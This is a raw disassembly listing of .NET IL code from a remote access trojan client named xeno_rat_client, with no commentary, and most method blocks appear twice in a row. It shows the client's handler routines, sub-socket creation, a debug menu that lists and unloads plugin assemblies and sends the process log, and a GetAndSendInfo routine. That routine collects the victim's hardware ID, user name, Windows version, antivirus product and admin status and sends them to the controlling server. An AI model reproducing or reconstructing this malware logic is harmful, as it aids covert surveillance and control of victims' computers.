00002c0bstfld <>t__builder
00002c10ldloca.s 0
00002c12ldarg.0
00002c13stfld <>4__this
00002c18ldloca.s 0
00002c1aldarg.1
00002c1bstfld subServer
00002c20ldloca.s 0
00002c22ldc.i4.m1
00002c23stfld <>1__state
00002c28ldloca.s 0
00002c2aldflda <>t__builder
00002c2fldloca.s 0
00002c31call 0x2B000009
00002c36ldloca.s 0
00002c38ldflda <>t__builder
00002c3dcall get_Task
00002c42ret
00002c04
00002c04xeno_rat_client.Handler::Type1Receive:
00002c04ldloca.s 0
00002c06call Create
00002c0bstfld <>t__builder
00002c10ldloca.s 0
00002c12ldarg.0
00002c13stfld <>4__this
00002c18ldloca.s 0
00002c1aldarg.1
00002c1bstfld subServer
00002c20ldloca.s 0
00002c22ldc.i4.m1
00002c23stfld <>1__state
00002c28ldloca.s 0
00002c2aldflda <>t__builder
00002c2fldloca.s 0
00002c31call 0x2B000009
00002c36ldloca.s 0
00002c38ldflda <>t__builder
00002c3dcall get_Task
00002c42ret
00002c04
00002c50
00002c50xeno_rat_client.Handler::setSetId:
00002c50ldloca.s 0
00002c52call Create
00002c57stfld <>t__builder
00002c5cldloca.s 0
00002c5eldarg.1
00002c5fstfld subServer
00002c64ldloca.s 0
00002c66ldarg.2
00002c67stfld data
00002c6cldloca.s 0
00002c6eldc.i4.m1
00002c6fstfld <>1__state
00002c74ldloca.s 0
00002c76ldflda <>t__builder
00002c7bldloca.s 0
00002c7dcall 0x2B00000A
00002c82ldloca.s 0
00002c84ldflda <>t__builder
00002c89call get_Task
00002c8eret
00002c50
00002c50xeno_rat_client.Handler::setSetId:
00002c50ldloca.s 0
00002c52call Create
00002c57stfld <>t__builder
00002c5cldloca.s 0
00002c5eldarg.1
00002c5fstfld subServer
00002c64ldloca.s 0
00002c66ldarg.2
00002c67stfld data
00002c6cldloca.s 0
00002c6eldc.i4.m1
00002c6fstfld <>1__state
00002c74ldloca.s 0
00002c76ldflda <>t__builder
00002c7bldloca.s 0
00002c7dcall 0x2B00000A
00002c82ldloca.s 0
00002c84ldflda <>t__builder
00002c89call get_Task
00002c8eret
00002c50
00002c9c
00002c9cxeno_rat_client.Handler::Type2Receive:
00002c9cldloca.s 0
00002c9ecall Create
00002ca3stfld <>t__builder
00002ca8ldloca.s 0
00002caaldarg.0
00002cabstfld <>4__this
00002cb0ldloca.s 0
00002cb2ldarg.1
00002cb3stfld subServer
00002cb8ldloca.s 0
00002cbaldc.i4.m1
00002cbbstfld <>1__state
00002cc0ldloca.s 0
00002cc2ldflda <>t__builder
00002cc7ldloca.s 0
00002cc9call 0x2B00000B
00002cceldloca.s 0
00002cd0ldflda <>t__builder
00002cd5call get_Task
00002cdaret
00002c9c
00002c9cxeno_rat_client.Handler::Type2Receive:
00002c9cldloca.s 0
00002c9ecall Create
00002ca3stfld <>t__builder
00002ca8ldloca.s 0
00002caaldarg.0
00002cabstfld <>4__this
00002cb0ldloca.s 0
00002cb2ldarg.1
00002cb3stfld subServer
00002cb8ldloca.s 0
00002cbaldc.i4.m1
00002cbbstfld <>1__state
00002cc0ldloca.s 0
00002cc2ldflda <>t__builder
00002cc7ldloca.s 0
00002cc9call 0x2B00000B
00002cceldloca.s 0
00002cd0ldflda <>t__builder
00002cd5call get_Task
00002cdaret
00002c9c
00002ce8
00002ce8xeno_rat_client.Handler::DebugMenu:
00002ce8ldloca.s 0
00002ceacall Create
00002cefstfld <>t__builder
00002cf4ldloca.s 0
00002cf6ldarg.0
00002cf7stfld <>4__this
00002cfcldloca.s 0
00002cfeldarg.1
00002cffstfld subServer
00002d04ldloca.s 0
00002d06ldarg.2
00002d07stfld data
00002d0cldloca.s 0
00002d0eldc.i4.m1
00002d0fstfld <>1__state
00002d14ldloca.s 0
00002d16ldflda <>t__builder
00002d1bldloca.s 0
00002d1dcall 0x2B00000C
00002d22ldloca.s 0
00002d24ldflda <>t__builder
00002d29call get_Task
00002d2eret
00002ce8
00002ce8xeno_rat_client.Handler::DebugMenu:
00002ce8ldloca.s 0
00002ceacall Create
00002cefstfld <>t__builder
00002cf4ldloca.s 0
00002cf6ldarg.0
00002cf7stfld <>4__this
00002cfcldloca.s 0
00002cfeldarg.1
00002cffstfld subServer
00002d04ldloca.s 0
00002d06ldarg.2
00002d07stfld data
00002d0cldloca.s 0
00002d0eldc.i4.m1
00002d0fstfld <>1__state
00002d14ldloca.s 0
00002d16ldflda <>t__builder
00002d1bldloca.s 0
00002d1dcall 0x2B00000C
00002d22ldloca.s 0
00002d24ldflda <>t__builder
00002d29call get_Task
00002d2eret
00002ce8
00002d3c
00002d3cxeno_rat_client.Handler::SendUpdateInfo:
00002d3cldloca.s 0
00002d3ecall Create
00002d43stfld <>t__builder
00002d48ldloca.s 0
00002d4aldarg.1
00002d4bstfld node
00002d50ldloca.s 0
00002d52ldc.i4.m1
00002d53stfld <>1__state
00002d58ldloca.s 0
00002d5aldflda <>t__builder
00002d5fldloca.s 0
00002d61call 0x2B00000D
00002d66ldloca.s 0
00002d68ldflda <>t__builder
00002d6dcall get_Task
00002d72ret
00002d3c
00002d3cxeno_rat_client.Handler::SendUpdateInfo:
00002d3cldloca.s 0
00002d3ecall Create
00002d43stfld <>t__builder
00002d48ldloca.s 0
00002d4aldarg.1
00002d4bstfld node
00002d50ldloca.s 0
00002d52ldc.i4.m1
00002d53stfld <>1__state
00002d58ldloca.s 0
00002d5aldflda <>t__builder
00002d5fldloca.s 0
00002d61call 0x2B00000D
00002d66ldloca.s 0
00002d68ldflda <>t__builder
00002d6dcall get_Task
00002d72ret
00002d3c
00002d80
00002d80<CreateSubSock>d__3::MoveNext:
00002d80ldarg.0
00002d81ldfld <>1__state
00002d86stloc.0
00002d87ldarg.0
00002d88ldfld <>4__this
00002d8dstloc.1
00002d8eldloc.0
00002d8fldc.i4.2
00002d90pop
00002d91pop
00002d92nop
00002d93ldloc.0
00002d94switch (IL_0084, IL_010a, IL_0176)
00002da5ldarg.0
00002da6ldfld data
00002dabldc.i4.1
00002dacldelem.u1
00002dadstloc.2
00002daeldarg.0
00002dafldfld data
00002db4ldc.i4.2
00002db5ldelem.u1
00002db6stloc.3
00002db7ldloc.1
00002db8ldfld Main
00002dbdldloc.2
00002dbeldloc.3
00002dbfldloc.1
00002dc0ldftn OnDisconnect
00002dc6newobj .ctor
00002dcbcallvirt ConnectSubSockAsync
00002dd0callvirt GetAwaiter
00002dd5stloc.s 5
00002dd7ldloca.s 5
00002dd9call get_IsCompleted
00002ddebrtrue.s IL_00a1
00002de0ldarg.0
00002de1ldc.i4.0
00002de2dup
00002de3stloc.0
00002de4stfld <>1__state
00002de9ldarg.0
00002dealdloc.s 5
00002decstfld <>u__1
00002df1ldarg.0
00002df2ldflda <>t__builder
00002df7ldloca.s 5
00002df9ldarg.0
00002dfacall 0x2B00000E
00002dffleave IL_01fc
00002e04ldarg.0
00002e05ldfld <>u__1
00002e0astloc.s 5
00002e0cldarg.0
00002e0dldflda <>u__1
00002e12initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
00002e18ldarg.0
00002e19ldc.i4.m1
00002e1adup
00002e1bstloc.0
00002e1cstfld <>1__state
00002e21ldloca.s 5
00002e23call GetResult
00002e28stloc.s 4
00002e2aldloc.s 4
00002e2cldloc.1
00002e2dldfld Main
00002e32stfld Parent
00002e37ldloc.1
00002e38ldfld Main
00002e3dldloc.s 4
00002e3fcallvirt AddSubNode
00002e44ldloc.s 4
00002e46ldfld SockType
00002e4bldc.i4.1
00002e4cbne.un.s IL_0130
00002e4eldloc.1
00002e4fldloc.s 4
00002e51call Type1Receive
00002e56callvirt GetAwaiter
00002e5bstloc.s 6
00002e5dldloca.s 6
00002e5fcall get_IsCompleted
00002e64brtrue.s IL_0127
00002e66ldarg.0
00002e67ldc.i4.1
00002e68dup
00002e69stloc.0
00002e6astfld <>1__state
00002e6fldarg.0
00002e70ldloc.s 6
00002e72stfld <>u__2
00002e77ldarg.0
00002e78ldflda <>t__builder
00002e7dldloca.s 6
00002e7fldarg.0
00002e80call 0x2B00000F
00002e85leave IL_01fc
00002e8aldarg.0
00002e8bldfld <>u__2
00002e90stloc.s 6
00002e92ldarg.0
00002e93ldflda <>u__2
00002e98initobj System.Runtime.CompilerServices.TaskAwaiter
00002e9eldarg.0
00002e9fldc.i4.m1
00002ea0dup
00002ea1stloc.0
00002ea2stfld <>1__state
00002ea7ldloca.s 6
00002ea9call GetResult
00002eaebr.s IL_01a9
00002eb0ldloc.s 4
00002eb2ldfld SockType
00002eb7ldc.i4.2
00002eb8bne.un.s IL_019c
00002ebaldloc.1
00002ebbldloc.s 4
00002ebdcall Type2Receive
00002ec2callvirt GetAwaiter
00002ec7stloc.s 6
00002ec9ldloca.s 6
00002ecbcall get_IsCompleted
00002ed0brtrue.s IL_0193
00002ed2ldarg.0
00002ed3ldc.i4.2
00002ed4dup
00002ed5stloc.0
00002ed6stfld <>1__state
00002edbldarg.0
00002edcldloc.s 6
00002edestfld <>u__2
00002ee3ldarg.0
00002ee4ldflda <>t__builder
00002ee9ldloca.s 6
00002eebldarg.0
00002eeccall 0x2B00000F
00002ef1leave IL_01fc
00002ef6ldarg.0
00002ef7ldfld <>u__2
00002efcstloc.s 6
00002efeldarg.0
00002effldflda <>u__2
00002f04initobj System.Runtime.CompilerServices.TaskAwaiter
00002f0aldarg.0
00002f0bldc.i4.m1
00002f0cdup
00002f0dstloc.0
00002f0estfld <>1__state
00002f13ldloca.s 6
00002f15call GetResult
00002f1abr.s IL_01a9
00002f1cldloc.s 4
00002f1ebrtrue.s IL_01a2
00002f20leave.s IL_01e9
00002f22ldloc.s 4
00002f24callvirt Disconnect
00002f29leave.s IL_01ce
00002f2bpop
00002f2cldstr "error with subnode, subnode type="
00002f31ldarg.0
00002f32ldfld data
00002f37ldc.i4.1
00002f38ldelema System.Byte
00002f3dcall ToString
00002f42call Concat
00002f47call WriteLine
00002f4cleave.s IL_01ce
00002f4eleave.s IL_01e9
00002f50stloc.s 7
00002f52ldarg.0
00002f53ldc.i4.s -2
00002f55stfld <>1__state
00002f5aldarg.0
00002f5bldflda <>t__builder
00002f60ldloc.s 7
00002f62call SetException
00002f67leave.s IL_01fc
00002f69ldarg.0
00002f6aldc.i4.s -2
00002f6cstfld <>1__state
00002f71ldarg.0
00002f72ldflda <>t__builder
00002f77call SetResult
00002f7cret
00002d80
00002d80<CreateSubSock>d__3::MoveNext:
00002d80ldarg.0
00002d81ldfld <>1__state
00002d86stloc.0
00002d87ldarg.0
00002d88ldfld <>4__this
00002d8dstloc.1
00002d8eldloc.0
00002d8fldc.i4.2
00002d90pop
00002d91pop
00002d92nop
00002d93ldloc.0
00002d94switch (IL_0084, IL_010a, IL_0176)
00002da5ldarg.0
00002da6ldfld data
00002dabldc.i4.1
00002dacldelem.u1
00002dadstloc.2
00002daeldarg.0
00002dafldfld data
00002db4ldc.i4.2
00002db5ldelem.u1
00002db6stloc.3
00002db7ldloc.1
00002db8ldfld Main
00002dbdldloc.2
00002dbeldloc.3
00002dbfldloc.1
00002dc0ldftn OnDisconnect
00002dc6newobj .ctor
00002dcbcallvirt ConnectSubSockAsync
00002dd0callvirt GetAwaiter
00002dd5stloc.s 5
00002dd7ldloca.s 5
00002dd9call get_IsCompleted
00002ddebrtrue.s IL_00a1
00002de0ldarg.0
00002de1ldc.i4.0
00002de2dup
00002de3stloc.0
00002de4stfld <>1__state
00002de9ldarg.0
00002dealdloc.s 5
00002decstfld <>u__1
00002df1ldarg.0
00002df2ldflda <>t__builder
00002df7ldloca.s 5
00002df9ldarg.0
00002dfacall 0x2B00000E
00002dffleave IL_01fc
00002e04ldarg.0
00002e05ldfld <>u__1
00002e0astloc.s 5
00002e0cldarg.0
00002e0dldflda <>u__1
00002e12initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<class xeno_rat_client.Node>
00002e18ldarg.0
00002e19ldc.i4.m1
00002e1adup
00002e1bstloc.0
00002e1cstfld <>1__state
00002e21ldloca.s 5
00002e23call GetResult
00002e28stloc.s 4
00002e2aldloc.s 4
00002e2cldloc.1
00002e2dldfld Main
00002e32stfld Parent
00002e37ldloc.1
00002e38ldfld Main
00002e3dldloc.s 4
00002e3fcallvirt AddSubNode
00002e44ldloc.s 4
00002e46ldfld SockType
00002e4bldc.i4.1
00002e4cbne.un.s IL_0130
00002e4eldloc.1
00002e4fldloc.s 4
00002e51call Type1Receive
00002e56callvirt GetAwaiter
00002e5bstloc.s 6
00002e5dldloca.s 6
00002e5fcall get_IsCompleted
00002e64brtrue.s IL_0127
00002e66ldarg.0
00002e67ldc.i4.1
00002e68dup
00002e69stloc.0
00002e6astfld <>1__state
00002e6fldarg.0
00002e70ldloc.s 6
00002e72stfld <>u__2
00002e77ldarg.0
00002e78ldflda <>t__builder
00002e7dldloca.s 6
00002e7fldarg.0
00002e80call 0x2B00000F
00002e85leave IL_01fc
00002e8aldarg.0
00002e8bldfld <>u__2
00002e90stloc.s 6
00002e92ldarg.0
00002e93ldflda <>u__2
00002e98initobj System.Runtime.CompilerServices.TaskAwaiter
00002e9eldarg.0
00002e9fldc.i4.m1
00002ea0dup
00002ea1stloc.0
00002ea2stfld <>1__state
00002ea7ldloca.s 6
00002ea9call GetResult
00002eaebr.s IL_01a9
00002eb0ldloc.s 4
00002eb2ldfld SockType
00002eb7ldc.i4.2
00002eb8bne.un.s IL_019c
00002ebaldloc.1
00002ebbldloc.s 4
00002ebdcall Type2Receive
00002ec2callvirt GetAwaiter
00002ec7stloc.s 6
00002ec9ldloca.s 6
00002ecbcall get_IsCompleted
00002ed0brtrue.s IL_0193
00002ed2ldarg.0
00002ed3ldc.i4.2
00002ed4dup
00002ed5stloc.0
00002ed6stfld <>1__state
00002edbldarg.0
00002edcldloc.s 6
00002edestfld <>u__2
00002ee3ldarg.0
00002ee4ldflda <>t__builder
00002ee9ldloca.s 6
00002eebldarg.0
00002eeccall 0x2B00000F
00002ef1leave IL_01fc
00002ef6ldarg.0
00002ef7ldfld <>u__2
00002efcstloc.s 6
00002efeldarg.0
00002effldflda <>u__2
00002f04initobj System.Runtime.CompilerServices.TaskAwaiter
00002f0aldarg.0
00002f0bldc.i4.m1
00002f0cdup
00002f0dstloc.0
00002f0estfld <>1__state
00002f13ldloca.s 6
00002f15call GetResult
00002f1abr.s IL_01a9
00002f1cldloc.s 4
00002f1ebrtrue.s IL_01a2
00002f20leave.s IL_01e9
00002f22ldloc.s 4
00002f24callvirt Disconnect
00002f29leave.s IL_01ce
00002f2bpop
00002f2cldstr "error with subnode, subnode type="
00002f31ldarg.0
00002f32ldfld data
00002f37ldc.i4.1
00002f38ldelema System.Byte
00002f3dcall ToString
00002f42call Concat
00002f47call WriteLine
00002f4cleave.s IL_01ce
00002f4eleave.s IL_01e9
00002f50stloc.s 7
00002f52ldarg.0
00002f53ldc.i4.s -2
00002f55stfld <>1__state
00002f5aldarg.0
00002f5bldflda <>t__builder
00002f60ldloc.s 7
00002f62call SetException
00002f67leave.s IL_01fc
00002f69ldarg.0
00002f6aldc.i4.s -2
00002f6cstfld <>1__state
00002f71ldarg.0
00002f72ldflda <>t__builder
00002f77call SetResult
00002f7cret
00002d80
00002fc0
00002fc0<DebugMenu>d__10::MoveNext:
00002fc0ldarg.0
00002fc1ldfld <>1__state
00002fc6stloc.0
00002fc7ldarg.0
00002fc8ldfld <>4__this
00002fcdstloc.1
00002fceldloc.0
00002fcfswitch (IL_00a3, IL_0168, IL_01df)
00002fe0ldarg.0
00002fe1ldfld data
00002fe6ldc.i4.1
00002fe7ldelem.u1
00002fe8stloc.2
00002fe9ldloc.2
00002feaswitch (IL_0040, IL_00cd, IL_018f)
00002ffbbr IL_0204
00003000ldarg.0
00003001ldfld subServer
00003006call get_UTF8
0000300bldstr "\n"
00003010ldloc.1
00003011ldfld dllhandler
00003016ldfld Assemblies
0000301bcallvirt get_Keys
00003020call Join
00003025callvirt GetBytes
0000302acallvirt SendAsync
0000302fcallvirt GetAwaiter
00003034stloc.s 5
00003036ldloca.s 5
00003038call get_IsCompleted
0000303dbrtrue.s IL_00c0
0000303fldarg.0
00003040ldc.i4.0
00003041dup
00003042stloc.0
00003043stfld <>1__state
00003048ldarg.0
00003049ldloc.s 5
0000304bstfld <>u__1
00003050ldarg.0
00003051ldflda <>t__builder
00003056ldloca.s 5
00003058ldarg.0
00003059call 0x2B000010
0000305eleave IL_0232
00003063ldarg.0
00003064ldfld <>u__1
00003069stloc.s 5
0000306bldarg.0
0000306cldflda <>u__1
00003071initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003077ldarg.0
00003078ldc.i4.m1
00003079dup
0000307astloc.0
0000307bstfld <>1__state
00003080ldloca.s 5
00003082call GetResult
00003087pop
00003088br IL_0204
0000308dcall get_UTF8
00003092ldarg.0
00003093ldfld data
00003098ldc.i4.2
00003099call 0x2B000011
0000309ecall 0x2B000012
000030a3callvirt GetString
000030a8stloc.3
000030a9ldc.i4.0
000030aastloc.s 4
000030acldloc.1
000030adldfld dllhandler
000030b2ldfld Assemblies
000030b7callvirt get_Keys
000030bcldloc.3
000030bdcall 0x2B000013
000030c2brfalse.s IL_0117
000030c4ldloc.1
000030c5ldfld dllhandler
000030caldfld Assemblies
000030cfldloc.3
000030d0callvirt Remove
000030d5stloc.s 4
000030d7ldarg.0
000030d8ldfld subServer
000030ddldc.i4.1
000030denewarr System.Byte
000030e3dup
000030e4ldc.i4.0
000030e5ldloc.s 4
000030e7brtrue.s IL_012c
000030e9ldc.i4.0
000030eabr.s IL_012d
000030ecldc.i4.1
000030edconv.u1
000030eestelem.i1
000030efcallvirt SendAsync
000030f4callvirt GetAwaiter
000030f9stloc.s 5
000030fbldloca.s 5
000030fdcall get_IsCompleted
00003102brtrue.s IL_0185
00003104ldarg.0
00003105ldc.i4.1
00003106dup
00003107stloc.0
00003108stfld <>1__state
0000310dldarg.0
0000310eldloc.s 5
00003110stfld <>u__1
00003115ldarg.0
00003116ldflda <>t__builder
0000311bldloca.s 5
0000311dldarg.0
0000311ecall 0x2B000010
00003123leave IL_0232
00003128ldarg.0
00003129ldfld <>u__1
0000312estloc.s 5
00003130ldarg.0
00003131ldflda <>u__1
00003136initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000313cldarg.0
0000313dldc.i4.m1
0000313edup
0000313fstloc.0
00003140stfld <>1__state
00003145ldloca.s 5
00003147call GetResult
0000314cpop
0000314dbr.s IL_0204
0000314fldarg.0
00003150ldfld subServer
00003155call get_UTF8
0000315aldsfld ProcessLog
0000315fcallvirt ToString
00003164callvirt GetBytes
00003169callvirt SendAsync
0000316ecallvirt GetAwaiter
00003173stloc.s 5
00003175ldloca.s 5
00003177call get_IsCompleted
0000317cbrtrue.s IL_01fc
0000317eldarg.0
0000317fldc.i4.2
00003180dup
00003181stloc.0
00003182stfld <>1__state
00003187ldarg.0
00003188ldloc.s 5
0000318astfld <>u__1
0000318fldarg.0
00003190ldflda <>t__builder
00003195ldloca.s 5
00003197ldarg.0
00003198call 0x2B000010
0000319dleave.s IL_0232
0000319fldarg.0
000031a0ldfld <>u__1
000031a5stloc.s 5
000031a7ldarg.0
000031a8ldflda <>u__1
000031adinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000031b3ldarg.0
000031b4ldc.i4.m1
000031b5dup
000031b6stloc.0
000031b7stfld <>1__state
000031bcldloca.s 5
000031becall GetResult
000031c3pop
000031c4leave.s IL_021f
000031c6stloc.s 6
000031c8ldarg.0
000031c9ldc.i4.s -2
000031cbstfld <>1__state
000031d0ldarg.0
000031d1ldflda <>t__builder
000031d6ldloc.s 6
000031d8call SetException
000031ddleave.s IL_0232
000031dfldarg.0
000031e0ldc.i4.s -2
000031e2stfld <>1__state
000031e7ldarg.0
000031e8ldflda <>t__builder
000031edcall SetResult
000031f2ret
00002fc0
00002fc0<DebugMenu>d__10::MoveNext:
00002fc0ldarg.0
00002fc1ldfld <>1__state
00002fc6stloc.0
00002fc7ldarg.0
00002fc8ldfld <>4__this
00002fcdstloc.1
00002fceldloc.0
00002fcfswitch (IL_00a3, IL_0168, IL_01df)
00002fe0ldarg.0
00002fe1ldfld data
00002fe6ldc.i4.1
00002fe7ldelem.u1
00002fe8stloc.2
00002fe9ldloc.2
00002feaswitch (IL_0040, IL_00cd, IL_018f)
00002ffbbr IL_0204
00003000ldarg.0
00003001ldfld subServer
00003006call get_UTF8
0000300bldstr "\n"
00003010ldloc.1
00003011ldfld dllhandler
00003016ldfld Assemblies
0000301bcallvirt get_Keys
00003020call Join
00003025callvirt GetBytes
0000302acallvirt SendAsync
0000302fcallvirt GetAwaiter
00003034stloc.s 5
00003036ldloca.s 5
00003038call get_IsCompleted
0000303dbrtrue.s IL_00c0
0000303fldarg.0
00003040ldc.i4.0
00003041dup
00003042stloc.0
00003043stfld <>1__state
00003048ldarg.0
00003049ldloc.s 5
0000304bstfld <>u__1
00003050ldarg.0
00003051ldflda <>t__builder
00003056ldloca.s 5
00003058ldarg.0
00003059call 0x2B000010
0000305eleave IL_0232
00003063ldarg.0
00003064ldfld <>u__1
00003069stloc.s 5
0000306bldarg.0
0000306cldflda <>u__1
00003071initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003077ldarg.0
00003078ldc.i4.m1
00003079dup
0000307astloc.0
0000307bstfld <>1__state
00003080ldloca.s 5
00003082call GetResult
00003087pop
00003088br IL_0204
0000308dcall get_UTF8
00003092ldarg.0
00003093ldfld data
00003098ldc.i4.2
00003099call 0x2B000011
0000309ecall 0x2B000012
000030a3callvirt GetString
000030a8stloc.3
000030a9ldc.i4.0
000030aastloc.s 4
000030acldloc.1
000030adldfld dllhandler
000030b2ldfld Assemblies
000030b7callvirt get_Keys
000030bcldloc.3
000030bdcall 0x2B000013
000030c2brfalse.s IL_0117
000030c4ldloc.1
000030c5ldfld dllhandler
000030caldfld Assemblies
000030cfldloc.3
000030d0callvirt Remove
000030d5stloc.s 4
000030d7ldarg.0
000030d8ldfld subServer
000030ddldc.i4.1
000030denewarr System.Byte
000030e3dup
000030e4ldc.i4.0
000030e5ldloc.s 4
000030e7brtrue.s IL_012c
000030e9ldc.i4.0
000030eabr.s IL_012d
000030ecldc.i4.1
000030edconv.u1
000030eestelem.i1
000030efcallvirt SendAsync
000030f4callvirt GetAwaiter
000030f9stloc.s 5
000030fbldloca.s 5
000030fdcall get_IsCompleted
00003102brtrue.s IL_0185
00003104ldarg.0
00003105ldc.i4.1
00003106dup
00003107stloc.0
00003108stfld <>1__state
0000310dldarg.0
0000310eldloc.s 5
00003110stfld <>u__1
00003115ldarg.0
00003116ldflda <>t__builder
0000311bldloca.s 5
0000311dldarg.0
0000311ecall 0x2B000010
00003123leave IL_0232
00003128ldarg.0
00003129ldfld <>u__1
0000312estloc.s 5
00003130ldarg.0
00003131ldflda <>u__1
00003136initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000313cldarg.0
0000313dldc.i4.m1
0000313edup
0000313fstloc.0
00003140stfld <>1__state
00003145ldloca.s 5
00003147call GetResult
0000314cpop
0000314dbr.s IL_0204
0000314fldarg.0
00003150ldfld subServer
00003155call get_UTF8
0000315aldsfld ProcessLog
0000315fcallvirt ToString
00003164callvirt GetBytes
00003169callvirt SendAsync
0000316ecallvirt GetAwaiter
00003173stloc.s 5
00003175ldloca.s 5
00003177call get_IsCompleted
0000317cbrtrue.s IL_01fc
0000317eldarg.0
0000317fldc.i4.2
00003180dup
00003181stloc.0
00003182stfld <>1__state
00003187ldarg.0
00003188ldloc.s 5
0000318astfld <>u__1
0000318fldarg.0
00003190ldflda <>t__builder
00003195ldloca.s 5
00003197ldarg.0
00003198call 0x2B000010
0000319dleave.s IL_0232
0000319fldarg.0
000031a0ldfld <>u__1
000031a5stloc.s 5
000031a7ldarg.0
000031a8ldflda <>u__1
000031adinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000031b3ldarg.0
000031b4ldc.i4.m1
000031b5dup
000031b6stloc.0
000031b7stfld <>1__state
000031bcldloca.s 5
000031becall GetResult
000031c3pop
000031c4leave.s IL_021f
000031c6stloc.s 6
000031c8ldarg.0
000031c9ldc.i4.s -2
000031cbstfld <>1__state
000031d0ldarg.0
000031d1ldflda <>t__builder
000031d6ldloc.s 6
000031d8call SetException
000031ddleave.s IL_0232
000031dfldarg.0
000031e0ldc.i4.s -2
000031e2stfld <>1__state
000031e7ldarg.0
000031e8ldflda <>t__builder
000031edcall SetResult
000031f2ret
00002fc0
0000321c
0000321c<GetAndSendInfo>d__5::MoveNext:
0000321cldarg.0
0000321dldfld <>1__state
00003222stloc.0
00003223ldloc.0
00003224brfalse IL_00f7
00003229ldarg.0
0000322aldfld Type0
0000322fldfld SockType
00003234brfalse.s IL_001f
00003236leave IL_0137
0000323bldstr "1.8.7"
00003240stloc.1
00003241ldc.i4.7
00003242newarr System.String
00003247dup
00003248ldc.i4.0
00003249call HWID
0000324estelem.ref
0000324fdup
00003250ldc.i4.1
00003251call get_UserName
00003256stelem.ref
00003257dup
00003258ldc.i4.2
00003259call GetCurrent
0000325ecallvirt get_Name
00003263stelem.ref
00003264dup
00003265ldc.i4.3
00003266ldloc.1
00003267stelem.ref
00003268dup
00003269ldc.i4.4
0000326acall GetWindowsVersion
0000326fstelem.ref
00003270dup
00003271ldc.i4.5
00003272call GetAntivirus
00003277stelem.ref
00003278dup
00003279ldc.i4.6
0000327acall IsAdmin
0000327fstloc.s 5
00003281ldloca.s 5
00003283call ToString
00003288stelem.ref
00003289stloc.2
0000328aldc.i4.0
0000328bnewarr System.Byte
00003290stloc.3
00003291ldc.i4.1
00003292newarr System.Byte
00003297stloc.s 4
00003299ldc.i4.0
0000329astloc.s 6
0000329cbr.s IL_00b3
0000329ecall get_UTF8
000032a3ldloc.2
000032a4ldloc.s 6
000032a6ldelem.ref
000032a7callvirt GetBytes
000032acstloc.s 7
000032aeldloc.3
000032afldloc.s 7
000032b1call Concat
000032b6stloc.3
000032b7ldloc.s 6
000032b9ldloc.2
000032baldlen
000032bbconv.i4
000032bcldc.i4.1
000032bdsub
000032bebeq.s IL_00ad
000032c0ldloc.3
000032c1ldloc.s 4
000032c3call Concat
000032c8stloc.3
000032c9ldloc.s 6
000032cbldc.i4.1
000032ccadd
000032cdstloc.s 6
000032cfldloc.s 6
000032d1ldloc.2
000032d2ldlen
000032d3conv.i4
000032d4blt.s IL_0082
000032d6ldarg.0
000032d7ldfld Type0
000032dcldloc.3
000032ddcallvirt SendAsync
000032e2callvirt GetAwaiter
000032e7stloc.s 8
000032e9ldloca.s 8
000032ebcall get_IsCompleted
000032f0brtrue.s IL_0114
000032f2ldarg.0
000032f3ldc.i4.0
000032f4dup
000032f5stloc.0
000032f6stfld <>1__state
000032fbldarg.0
000032fcldloc.s 8
000032festfld <>u__1
00003303ldarg.0
00003304ldflda <>t__builder
00003309ldloca.s 8
0000330bldarg.0
0000330ccall 0x2B000014
00003311leave.s IL_014a
00003313ldarg.0
00003314ldfld <>u__1
00003319stloc.s 8
0000331bldarg.0
0000331cldflda <>u__1
00003321initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003327ldarg.0
00003328ldc.i4.m1
00003329dup
0000332astloc.0
0000332bstfld <>1__state
00003330ldloca.s 8
00003332call GetResult
00003337pop
00003338leave.s IL_0137
0000333astloc.s 9
0000333cldarg.0
0000333dldc.i4.s -2
0000333fstfld <>1__state
00003344ldarg.0
00003345ldflda <>t__builder
0000334aldloc.s 9
0000334ccall SetException
00003351leave.s IL_014a
00003353ldarg.0
00003354ldc.i4.s -2
00003356stfld <>1__state
0000335bldarg.0
0000335cldflda <>t__builder
00003361call SetResult
00003366ret
0000321c
0000321c<GetAndSendInfo>d__5::MoveNext:
0000321cldarg.0
0000321dldfld <>1__state
00003222stloc.0
00003223ldloc.0
00003224brfalse IL_00f7
00003229ldarg.0
0000322aldfld Type0
0000322fldfld SockType
00003234brfalse.s IL_001f
00003236leave IL_0137
0000323bldstr "1.8.7"
00003240stloc.1
00003241ldc.i4.7
00003242newarr System.String
00003247dup
00003248ldc.i4.0
00003249call HWID
0000324estelem.ref
0000324fdup
00003250ldc.i4.1
00003251call get_UserName
00003256stelem.ref
00003257dup
00003258ldc.i4.2
00003259call GetCurrent
0000325ecallvirt get_Name
00003263stelem.ref
00003264dup
00003265ldc.i4.3
00003266ldloc.1
00003267stelem.ref
00003268dup
00003269ldc.i4.4
0000326acall GetWindowsVersion
0000326fstelem.ref
00003270dup
00003271ldc.i4.5
00003272call GetAntivirus
00003277stelem.ref
00003278dup
00003279ldc.i4.6
0000327acall IsAdmin
0000327fstloc.s 5
00003281ldloca.s 5
00003283call ToString
00003288stelem.ref
00003289stloc.2
0000328aldc.i4.0
0000328bnewarr System.Byte
00003290stloc.3
00003291ldc.i4.1
00003292newarr System.Byte
00003297stloc.s 4
00003299ldc.i4.0
0000329astloc.s 6
0000329cbr.s IL_00b3
0000329ecall get_UTF8
000032a3ldloc.2
000032a4ldloc.s 6
000032a6ldelem.ref
000032a7callvirt GetBytes
000032acstloc.s 7
000032aeldloc.3
000032afldloc.s 7
000032b1call Concat
000032b6stloc.3
000032b7ldloc.s 6
000032b9ldloc.2
000032baldlen
000032bbconv.i4
000032bcldc.i4.1
000032bdsub
000032bebeq.s IL_00ad
000032c0ldloc.3
000032c1ldloc.s 4
000032c3call Concat
000032c8stloc.3
000032c9ldloc.s 6
000032cbldc.i4.1
000032ccadd
000032cdstloc.s 6
000032cfldloc.s 6
000032d1ldloc.2
000032d2ldlen
000032d3conv.i4
000032d4blt.s IL_0082
000032d6ldarg.0
000032d7ldfld Type0
000032dcldloc.3
